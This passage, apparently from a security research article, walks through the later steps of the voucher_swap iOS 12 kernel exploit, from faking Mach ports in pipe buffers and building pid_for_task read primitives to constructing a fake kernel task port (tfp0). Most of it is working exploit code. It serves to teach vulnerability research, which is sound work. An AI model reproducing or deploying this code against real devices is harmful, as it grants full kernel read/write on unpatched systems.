Step 17: Set up primitive to find the address of the base port

We have a fake port overlapping with the content of the pipe buffer, that we can read and write into since we know which pipe buffer is it. Now our task is to create a fake port such that we can use the pid_for_task() technique with it to read 4 bytes of kernel memory at a time. This technique was discussed in Part 1 of this article series.

But what this also means is that our fake task's kobject field should point to a task struct that we control, so that we can have a look at the bsd_info field of the task that points to a proc struct. Ideally, the fake port along with the fake task should both be in the pipe buffers, so we can read and write into them. In order to find that out, we send the Mach api call mach_port_request_notification() to the fake port to add a request that if the fake port becomes a dead name (MACH_PORT_DEAD), the base port will be notified. This causes our fake port's ip_requests field to point to an array that contains a pointer to the base_port address.


// 17. Use mach_port_request_notification() to put a pointer to an array containing
	// base_port in our port's ip_requests field.
	mach_port_t prev_notify;
	kr = mach_port_request_notification(mach_task_self(), fake_port,
			MACH_NOTIFY_DEAD_NAME, 0,
			base_port, MACH_MSG_TYPE_MAKE_SEND_ONCE,
			&prev_notify);
	if (kr != KERN_SUCCESS) {
		ERROR("%s returned %d: %s", "mach_port_request_notification",
				kr, mach_error_string(kr));
		ERROR("could not request a notification for the fake port");
		fail();
	}
	assert(prev_notify == MACH_PORT_NULL);

Step 18: Find the address of the base port

We read from the overlapping pipe buffer and iterate though the whole buffer as ports, look at each possible port's ip_requests field, and if we find that field, we know that it contains the address of an array that contains a pointer to base_port, because this is the only port we have set a notification for. Note that we still can't read that address yet. We save the offset of that fake port within the pipe buffer. Then we write to the pipe so the data from the pipe can now be read later on. We now know exactly at what offset the fake port lies in the pipe buffer and within which pipe buffer it lies (we already found that out before). We also know the address of ip_requests so we need a way to read from that address.


// 18. Now read back our pipe buffer to discover the value of ip_requests (and get our
	// first kernel pointer!). This also tells us where our port is located inside the pipe
	// buffer.
	read_pipe();
	__block uint64_t ip_requests = 0;
	iterate_ipc_ports(pipe_buffer_size, ^(size_t port_offset, bool *stop) {
		uint8_t *port = (uint8_t *) pipe_buffer + port_offset;
		uint64_t *port_ip_requests = (uint64_t *)(port + OFFSET(ipc_port, ip_requests));
		if (*port_ip_requests != 0) {
			// We've found the overlapping port. Record the offset of the fake port,
			// save the ip_requests array, and set the field in the port to NULL.
			assert(ip_requests == 0);
			fake_port_offset = port_offset;
			ip_requests = *port_ip_requests;
			*port_ip_requests = 0;
		} else {
			// Clear out all the other fake ports.
			memset(port, 0, SIZE(ipc_port));
		}
	});
	// Make sure we found it.
	if (ip_requests == 0) {
		ERROR("could not find %s in pipe buffers", "ip_requests");
		fail();
	}
	INFO("got %s at 0x%016llx", "ip_requests", ip_requests);
	INFO("fake port is at offset %zu", fake_port_offset);
	// Do a write so that the stage0 and stage1 read primitives can start with a pipe read.
	write_pipe();

Step 19: Find the address of the base port

We can find the address of the base port pointer since its at a fixed offset from the ip_requests field. Next, we need to find out the address of the base port from the base port pointer using which we can locate our pipe buffer address. However, as discussed a bit earlier, in order to create a proper fake port on which you can use task_for_pid() on, you must have a kobject field pointing to an address that corresponds to a task. Also, the task will have a bsd_info pointing to a proc. This is achieved by creating a fake port of type IKOT_NONE, creating a fake task and setting the bsd_info field pointing to the (AddressToRead - OFFSET(pidInProcStruct)), and then sending that fask task in a mach message to the fake port. By looking at the port's ip_messages.imq_messages field via the pipe we can get the address of the ipc_kmsg struct containing the task's address, and then replace the port to a IKOT_TASK port with the kobject field pointing to the fake task. Now that we have built an initial read primitive, we can then use the function stage0_read64 to read the base_port address.


// 19. Now that we know the address of an array that contains a pointer to base_port, we
	// need a way to read data from that address so we can locate our pipe buffer in memory.
	//
	// We'll use the traditional pid_for_task() technique to read 4 bytes of kernel memory.
	// However, in order for this technique to work, we need to get a fake task containing an
	// offset pointer to the address we want to read at a known location in memory. We can do
	// that by initializing our fake port, sending a Mach message containing our fake task to
	// the port, and reading out the port's imq_messages field.
	//
	// An unfortunate consequence of this technique is that each 4-byte read leaks an ipc_kmsg
	// allocation. Thus, we'll store the leaked kmsgs so that we can deallocate them later.
	uint64_t leaked_kmsgs[2] = {};
	uint64_t address_of_base_port_pointer = ip_requests
		+ 1 * SIZE(ipc_port_request) + OFFSET(ipc_port_request, ipr_soright);
	base_port_address = stage0_read64(address_of_base_port_pointer, leaked_kmsgs);
	INFO("base port is at 0x%016llx", base_port_address);
	// Check that it has the offset that we expect.
	if (base_port_address % pipe_buffer_size != fake_port_offset) {
		ERROR("base_port at wrong offset");
	}

The stage0_read is a really handy function and basically does the job of reading out the kernel memory 32 bits at a time. It basically does the following steps.

  1. Create a fake port in the pipe, set all the required properties and set the IKOT type as IKOT_NONE
  2. Create a fake task, set the bsd_info field depending on the address you want to read and send it to the port in a mach message.
  3. Read the receiver port contents by reading the pipe and finds the address of the task from its imq_messages field.
  4. Rewrite the port by rewriting the pipe and now set the IKOT type as IKOT_TASK to create it as a fake task port so one can use the task_for_pid() call on it
  5. Call pid_for_task to read kernel memory

*
 * stage0_read32
 *
 * Description:
 * 	Read a 32-bit value from memory using our fake port.
 *
 * 	Note that this is the very first read primitive we get, before we know the address of the
 * 	pipe buffers. Each 32-bit read leaks an ipc_kmsg. We'll want to use this primitive to get
 * 	the address of our pipe buffers as quickly as possible.
 *
 * 	This routine performs 2 full pipe transfers, starting with a read.
 */
static uint32_t
stage0_read32(uint64_t address, uint64_t *kmsg) {
	// Do a read to make the pipe available for a write.
	read_pipe();
	// Initialize the port as a regular Mach port that's empty and has room for 1 message.
	uint8_t *fake_port_data = (uint8_t *) pipe_buffer + fake_port_offset;
	FIELD(fake_port_data, ipc_port, ip_bits,      uint32_t) = io_makebits(1, IOT_PORT, IKOT_NONE);
	FIELD(fake_port_data, ipc_port, waitq_flags,  uint32_t) = mach_port_waitq_flags();
	FIELD(fake_port_data, ipc_port, imq_messages, uint64_t) = 0;
	FIELD(fake_port_data, ipc_port, imq_msgcount, uint16_t) = 0;
	FIELD(fake_port_data, ipc_port, imq_qlimit,   uint16_t) = 1;
	write_pipe();
	// We'll pretend that the 32-bit value we want to read is the p_pid field of a proc struct.
	// Then, we'll get a pointer to that fake proc at a known address in kernel memory by
	// sending the pointer to the fake proc in a Mach message to the fake port.
	uint64_t fake_proc_address = address - OFFSET(proc, p_pid);
	uint64_t offset_from_kmsg_to_fake_task;
	stage0_send_fake_task_message(fake_proc_address, &offset_from_kmsg_to_fake_task);
	// Read back the port contents to get the address of the ipc_kmsg containing our fake proc
	// pointer.
	read_pipe();
	uint64_t kmsg_address = FIELD(fake_port_data, ipc_port, imq_messages, uint64_t);
	*kmsg = kmsg_address;
	// Now rewrite the port as a fake task port pointing to our fake task.
	uint64_t fake_task_address = kmsg_address + offset_from_kmsg_to_fake_task;
	FIELD(fake_port_data, ipc_port, ip_bits,    uint32_t) = io_makebits(1, IOT_PORT, IKOT_TASK);
	FIELD(fake_port_data, ipc_port, ip_kobject, uint64_t) = fake_task_address;
	write_pipe();
	// Now use pid_for_task() to read our value.
	int pid = -1;
	kern_return_t kr = pid_for_task(fake_port, &pid);
	if (kr != KERN_SUCCESS) {
		ERROR("%s returned %d: %s", "pid_for_task", kr, mach_error_string(kr));
		ERROR("could not read kernel memory in stage %d using %s", 0, "pid_for_task");
		fail();
	}
	return (uint32_t) pid;
}

Step 20: Compute the address of the fake port

Since we know the base_port address and given the fact that we know the offset from the base port to the fake port (we defined this earlier in Step 3), it is possible for us to calculate the fake port address.


// 20. Now use base_port_address to compute the address of the fake port and the containing
	// pipe buffer, and choose an offset for our fake task in the pipe buffer as well. At this
	// point, we can now use our stage 1 read primitive.
	fake_port_address = base_port_address + base_port_to_fake_port_offset;
	pipe_buffer_address = fake_port_address & ~(pipe_buffer_size - 1);
	fake_task_offset = 0;
	if (fake_port_offset < FAKE_TASK_SIZE) {
		fake_task_offset = pipe_buffer_size - FAKE_TASK_SIZE;
	}

Step 21: Compute the address of your own task port

Now that we know the address of the fake task and we can create the port, we can create a better read primitive and call it stage 1. The next step is to compute the address of your own task port. The function stage1_find_port_address takes the input as a task and gets the address of the task port using the stage 1 read primtive.


// 21. Now that we have the address of our pipe buffer, we can use the stage 1 read
	// primitive. Get the address of our own task port, which we'll need later.
	uint64_t task_port_address = stage1_find_port_address(mach_task_self());
/*
 * stage1_find_port_address
 *
 * Description:
 * 	Get the address of a Mach port to which we hold a send right.
 */
static uint64_t
stage1_find_port_address(mach_port_t port) {
	// Create the message. We'll place a send right to the target port in msgh_local_port.
	mach_msg_header_t msg = {};
	msg.msgh_bits        = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_COPY_SEND, 0, 0);
	msg.msgh_remote_port = base_port;
	msg.msgh_local_port  = port;
	msg.msgh_size        = sizeof(msg);
	msg.msgh_id          = 'port';
	// Send the message to the base port.
	kern_return_t kr = mach_msg(
			&msg,
			MACH_SEND_MSG | MACH_SEND_TIMEOUT,
			sizeof(msg),
			0,
			MACH_PORT_NULL,
			0,
			MACH_PORT_NULL);
	if (kr != KERN_SUCCESS) {
		ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
		ERROR("could not stash our port in a message to the base port");
		fail();
	}
	// Read the address of the kmsg.
	uint64_t base_port_imq_messages = base_port_address + OFFSET(ipc_port, imq_messages);
	uint64_t kmsg = stage1_read64(base_port_imq_messages);
	// Read the message's msgh_local_port field to get the address of the target port.
	// +-----------------+---+--------+---------+
	// | struct ipc_kmsg |   | header | trailer |
	// +-----------------+---+--------+---------+
	uint64_t msgh_local_port = kmsg + ipc_kmsg_size_for_message_size(sizeof(msg))
		- MAX_TRAILER_SIZE - (sizeof(mach_msg_header_t) + MACH_HEADER_SIZE_DELTA)
		+ (sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t));
	uint64_t port_address = stage1_read64(msgh_local_port);
	// Discard the message.
	port_discard_messages(base_port);
	return port_address;
}

/*
 * stage1_read32
 *
 * Description:
 * 	Read a 32-bit value from kernel memory using our fake port.
 *
 * 	This primitive requires that we know the address of the pipe buffer containing our port.
 */
static uint32_t
stage1_read32(uint64_t address) {
	// Do a read to make the pipe available for a write.
	read_pipe();
	// Create our fake task. The task's proc's p_pid field overlaps with the address we want to
	// read.
	uint64_t fake_proc_address = address - OFFSET(proc, p_pid);
	uint64_t fake_task_address = pipe_buffer_address + fake_task_offset;
	uint8_t *fake_task = (uint8_t *) pipe_buffer + fake_task_offset;
	FIELD(fake_task, task, ref_count, uint64_t) = 2;
	FIELD(fake_task, task, bsd_info,  uint64_t) = fake_proc_address;
	// Initialize the port as a fake task port pointing to our fake task.
	uint8_t *fake_port_data = (uint8_t *) pipe_buffer + fake_port_offset;
	FIELD(fake_port_data, ipc_port, ip_bits,    uint32_t) = io_makebits(1, IOT_PORT, IKOT_TASK);
	FIELD(fake_port_data, ipc_port, ip_kobject, uint64_t) = fake_task_address;
	// Write our buffer to kernel memory.
	write_pipe();
	// Now use pid_for_task() to read our value.
	int pid = -1;
	kern_return_t kr = pid_for_task(fake_port, &pid);
	if (kr != KERN_SUCCESS) {
		ERROR("%s returned %d: %s", "pid_for_task", kr, mach_error_string(kr));
		ERROR("could not read kernel memory in stage %d using %s", 1, "pid_for_task");
		fail();
	}
	return (uint32_t) pid;
}

Step 22: Get the address of the Host port

We need to get the host port address first using which we can find the ipc_space_kernel in later steps. In order to achieve a full kernel read/write, we need to find kernel vm_map and the kernel ipc_space. Since the ipc_space_kernel can be identified using the host port's receiver field, it is essential to find the address of the host port.


// 22. Our next goal is to build a fake kernel_task port that allows us to read and write
	// kernel memory with mach_vm_read()/mach_vm_write(). But in order to do that, we'll first
	// need to get ipc_space_kernel and kernel_map. We'll use Ian's technique from multi_path
	// for this.
	//
	// First things first, get the address of the host port.
	uint64_t host_port_address = stage1_find_port_address(host);

Step 23: Get ipc_space_kernel from the host port's ip_receiver

Recall from Part 1 that the ipc_port struct has a receiver field which points to the ipc_space. We can read the ipc_space_kernel by reading the host ports ip_receiver field.


// 23. We can get ipc_space_kernel from the host port's ip_receiver.
	uint64_t host_port_ip_receiver = host_port_address + OFFSET(ipc_port, ip_receiver);
	uint64_t ipc_space_kernel = stage1_read64(host_port_ip_receiver);

Step 24: Get the address of the kernel task port

The next step is to find the kernel vm_map, and to do that we can first find the kernel task port and from there onwards get the vm_map at a fixed offset. In the heap, the kernel task port would be near to the host port, so therefore we can iterate into that particular block as task ports and identify the kernel task port and subsequently get the kernel vm_map.


// 24. Now we'll iterate through all the ports in the host port's block to try and find the
	// kernel task port, which will give us the address of the kernel task.
	kernel_task = 0;
	uint64_t port_block = host_port_address & ~(BLOCK_SIZE(ipc_port) - 1);
	iterate_ipc_ports(BLOCK_SIZE(ipc_port), ^(size_t port_offset, bool *stop) {
		uint64_t candidate_port = port_block + port_offset;
		bool found = stage1_check_kernel_task_port(candidate_port, &kernel_task);
		*stop = found;
	});
	// Make sure we got the kernel_task's address.
	if (kernel_task == 0) {
		ERROR("could not find kernel_task port");
		fail();
	}
	INFO("kernel_task is at 0x%016llx", kernel_task);

The following function checks whether a port is a kernel task port or not. It first looks up the bits field to see if it is of type IKOT_TASK to identify whether it is a task port. It then reads the address pointed to by the kobject field which is the corresponding task, looks up the bsd_info field in that task to find the proc structure it is pointing to, and then reads the pid value. If it is 0 this means it is the kernel task port.


/*
 * stage1_check_kernel_task_port
 *
 * Description:
 * 	Check if the given ipc_port is a task port for the kernel task.
 */
static bool
stage1_check_kernel_task_port(uint64_t candidate_port, uint64_t *kernel_task_address) {
	// Check the ip_bits field.
	uint32_t ip_bits = stage1_read32(candidate_port + OFFSET(ipc_port, ip_bits));
	if (ip_bits != io_makebits(1, IOT_PORT, IKOT_TASK)) {
		return false;
	}
	// This is a task port. Get the task.
	uint64_t task = stage1_read64(candidate_port + OFFSET(ipc_port, ip_kobject));
	// Now get the task's PID.
	uint64_t proc = stage1_read64(task + OFFSET(task, bsd_info));
	uint32_t pid = stage1_read32(proc + OFFSET(proc, p_pid));
	// The kernel task has pid 0.
	if (pid != 0) {
		return false;
	}
	// Found it!
	*kernel_task_address = task;
	return true;
}

Step 25: Get the address of the vm_map

Now that we have identified the kernel task port, we can read the vm_map since it is at a fixed offset from the kernel_task.


// 25. Next we can use the kernel task to get the address of the kernel vm_map.
	uint64_t kernel_map = stage1_read64(kernel_task + OFFSET(task, map));

Step 26: Create a fake kernel task port

Now we can build a fake kernel task port, all of which is still within the pipe buffer.


// 26. Build a fake kernel task port that allows us to read and write kernel memory.
	stage2_init(ipc_space_kernel, kernel_map);

The criteria for a fake kernel task port is that the fake task's map field should point to the kernel vm_map and the receiver field should point to the ipc_space_kernel. This is acheived with the following 2 lines.


FIELD(fake_task, task, map, uint64_t) = kernel_map;
FIELD(fake_port_data, ipc_port, ip_receiver,   uint64_t) = ipc_space_kernel;

Step 27: Create a fake kernel task port

Now that we have a fully functioning kernel task port and we can call the Mach APIs to read and write memory, it is time to build a more stable kernel task port. This time, memory is allocated via mach_vm_allocate and the kernel task port may be created even outside the pipe buffer.


// 27. Alright, now kernel_read() and kernel_write() should work, so let's build a safer
	// kernel_task port. This also cleans up fake_port so that we (hopefully) won't panic on
	// exit.
	uint64_t task_pointer = task_port_address + OFFSET(ipc_port, ip_kobject);
	current_task = kernel_read64(task_pointer);
	stage3_init(ipc_space_kernel, kernel_map);

/*
 * stage3_init
 *
 * Description:
 * 	Initialize the stage 3 kernel read/write primitives. After this, it's safe to free all
 * 	other resources.
 *
 * 	TODO: In the future we should use mach_vm_remap() here to actually get a second copy of the
 * 	real kernel_task.
 */
static bool
stage3_init(uint64_t ipc_space_kernel, uint64_t kernel_map) {
	bool success = false;
	size_t size = 0x800;
	// Allocate some virtual memory.
	mach_vm_address_t page;
	kern_return_t kr = mach_vm_allocate(fake_port, &page, size, VM_FLAGS_ANYWHERE);
	if (kr != KERN_SUCCESS) {
		ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr));
		goto fail_0;
	}
	// Build the contents we want.
	uint8_t *data = calloc(1, size);
	assert(data != NULL);
	build_fake_kernel_task(data, page, SIZE(ipc_port), 0, ipc_space_kernel, kernel_map);
	uint64_t fake_port_address = page;
	// Copy the contents into the kernel.
	bool ok = kernel_write(page, data, size);
	if (!ok) {
		ERROR("could not write fake kernel_task into kernel memory");
		goto fail_1;
	}
	// Modify fake_port's ipc_entry so that it points to our new fake port.
	uint64_t ipc_entry;
	ok = kernel_ipc_port_lookup(current_task, fake_port, NULL, &ipc_entry);
	if (!ok) {
		ERROR("could not look up the IPC entry for the fake port");
		fail();
	}
	kernel_write64(ipc_entry + OFFSET(ipc_entry, ie_object), fake_port_address);
	// Clear ie_request to avoid a panic on termination.
	kernel_write32(ipc_entry + OFFSET(ipc_entry, ie_request), 0);
	// At this point fake_port has been officially donated to kernel_task_port.
	fake_port = MACH_PORT_NULL;
	success = true;
fail_1:
	free(data);
fail_0:
	return success;
}

Step 28: Clean up the unneeded resources


// 28. We've corrupted a bunch of kernel state, so let's clean up our mess:
	//   - base_port has an extra port reference.
	//   - uaf_voucher_port needs to be destroyed.
	//   - ip_requests needs to be deallocated.
	//   - leaked_kmsgs need to be destroyed.
	clean_up(uaf_voucher_port, ip_requests, leaked_kmsgs,
			sizeof(leaked_kmsgs) / sizeof(leaked_kmsgs[0]));

Step 29: Clean up some more unneeded resources and now we have a stable tfp0


// 29. And finally, deallocate the remaining unneeded (but non-corrupted) resources.
	pipe_close(pipefds);
	free(pipe_buffer);
	mach_port_destroy(mach_task_self(), base_port);

	// And that's it! Enjoy kernel read/write via kernel_task_port.
	INFO("done! port 0x%x is tfp0", kernel_task_port);

With tfp0 acquired, we can now read and write into kernel memory.

Conclusion

In this article, we looked at the voucher_swap() vulnerability discovered by @_bazad and explained the steps leading up to obtain tfp0 in iOS 12. In the next article, we will look at the Undecimus jailbreak and all the steps needed to successfully jailbreak an iOS device.

References

  1. Project Zero Issue tracker - https://bugs.chromium.org/p/project-zero/issues/detail?id=1731
  2. iOS 10 - Kernel Heap Revisited - https://gsec.hitb.org/materials/sg2016/D2%20-%20Stefan%20Esser%20-%20iOS%2010%20Kernel%20Heap%20Revisited.pdf
  3. Mac OS X Internals: A Systems Approach - https://www.amazon.com/Mac-OS-Internals-Approach-paperback/dp/0134426541
  4. MacOS and iOS Internals, Volume III: Security & Insecurity: https://www.amazon.com/MacOS-iOS-Internals-III-Insecurity/dp/0991055535
  5. CanSecWest 2017 - Port(al) to the iOS Core - https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core

Author:

Prateek Gianchandani (@prateekg147

xen1thLabs- Software Lab

  Back to Paper Listing